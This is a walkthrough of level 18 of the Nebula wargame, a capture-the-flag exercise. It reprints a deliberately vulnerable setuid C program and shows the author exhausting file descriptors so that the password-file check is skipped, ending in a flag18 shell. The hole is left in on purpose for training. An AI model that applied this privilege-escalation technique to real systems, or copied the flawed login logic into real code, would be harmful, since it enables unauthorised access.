About
Analyse the C program, and look for vulnerabilities in the program. There is an easy way to solve this level, an intermediate way to solve it, and a more difficult/unreliable way to solve it.
To do this level, log in as the level18 account with the password level18 . Files for this level can be found in /home/flag18.
Source code
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>
struct {
FILE *debugfile;
int verbose;
int loggedin;
} globals;
#define dprintf(...) if(globals.debugfile) \
fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
fprintf(globals.debugfile, __VA_ARGS__)
#define PWFILE "/home/flag18/password"
void login(char *pw)
{
FILE *fp;
fp = fopen(PWFILE, "r");
if(fp) {
char file[64];
if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}
fclose(fp);
if(strcmp(pw, file) != 0) return;
}
dprintf("logged in successfully (with%s password file)\n",
fp == NULL ? "out" : "");
globals.loggedin = 1;
}
void notsupported(char *what)
{
char *buffer = NULL;
asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
dprintf(what);
free(buffer);
}
void setuser(char *user)
{
char msg[128];
sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
printf("%s\n", msg);
}
int main(int argc, char **argv, char **envp)
{
char c;
while((c = getopt(argc, argv, "d:v")) != -1) {
switch(c) {
case 'd':
globals.debugfile = fopen(optarg, "w+");
if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
setvbuf(globals.debugfile, NULL, _IONBF, 0);
break;
case 'v':
globals.verbose++;
break;
}
}
dprintf("Starting up. Verbose level = %d\n", globals.verbose);
setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());
while(1) {
char line[256];
char *p, *q;
q = fgets(line, sizeof(line)-1, stdin);
if(q == NULL) break;
p = strchr(line, '\n'); if(p) *p = 0;
p = strchr(line, '\r'); if(p) *p = 0;
dvprintf(2, "got [%s] as input\n", line);
if(strncmp(line, "login", 5) == 0) {
dvprintf(3, "attempting to login\n");
login(line + 6);
} else if(strncmp(line, "logout", 6) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "shell", 5) == 0) {
dvprintf(3, "attempting to start shell\n");
if(globals.loggedin) {
execve("/bin/sh", argv, envp);
err(1, "unable to execve");
}
dprintf("Permission denied\n");
} else if(strncmp(line, "logout", 4) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
} else if(strncmp(line, "site exec", 9) == 0) {
notsupported(line + 10);
} else if(strncmp(line, "setuser", 7) == 0) {
setuser(line + 8);
}
}
return 0;
}
This time, we will solve level18 of Nebula wargame. The source code of the vulnerable binary is provided. Most importantly
void login(char *pw)
{
FILE *fp;
fp = fopen(PWFILE, "r");
if(fp) {
char file[64];
if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}
fclose(fp);
if(strcmp(pw, file) != 0) return;
}
dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : "");
globals.loggedin = 1;
}
As it could be seen, we have to bypass the if(fp) check. Ofcourse, we don't have read access to the password file. What is to be noticed is that global.loggedin = 1 is outside of the if(fp) block. This means that if we are able to make the fopen() call return NULL, we will skip the if conditional block and be loggedin. After investigating what are the possible ways to make the fopen() call fail, I have come across the idea of exhausting file handlers.
level18@nebula:~$ cat /proc/sys/fs/file-nr
288 0 23521
level18@nebula:~$ ulimit -Sn
level18@nebula:~$ ulimit -Hn
4096
level18@nebula:~$ ulimit -Sn 4096
level18@nebula:~$ cat fhexhaust.c#include <stdio.h> int main(int argc, char *argv[]) { int i; FILE *fp; for(i = 0; i < 4096; i++) { fp = fopen("/tmp/pwnie18", "r"); } printf("let's take a nap\n"); sleep(30); return 0; }
level18@nebula:~$ touch /tmp/pwnie18
level18@nebula:~$ ../flag18/flag18
^Z
[2]+ Stopped(SIGTSTP) ../flag18/flag18
level18@nebula:~$ for i in {1..6}
> do
> ./a.out &
> done
[2] 4311
[3] 4312
[4] 4313
[5] 4314
[6] 4315
[7] 4316
level18@nebula:~$ let's take a nap
let's take a nap
let's take a nap
let's take a nap
let's take a nap
let's take a nap
level18@nebula:~$ jobs
[1]+ Stopped(SIGTSTP) ../flag18/flag18
[2] Running ./a.out &
[3] Running ./a.out &
[4] Running ./a.out &
[5] Running ./a.out &
[6] Running ./a.out &
[7] Running ./a.out &
level18@nebula:~$ fg 1
../flag18/flag18
login
^Z
level18@nebula:~$ fg 1
../flag18/flag18
shell
flag18@nebula:~$ id
uid=981(flag18) gid=1019(level18) groups=981(flag18),1019(level18)
flag18@nebula:~$ getflag
You have successfully executed getflag on a target account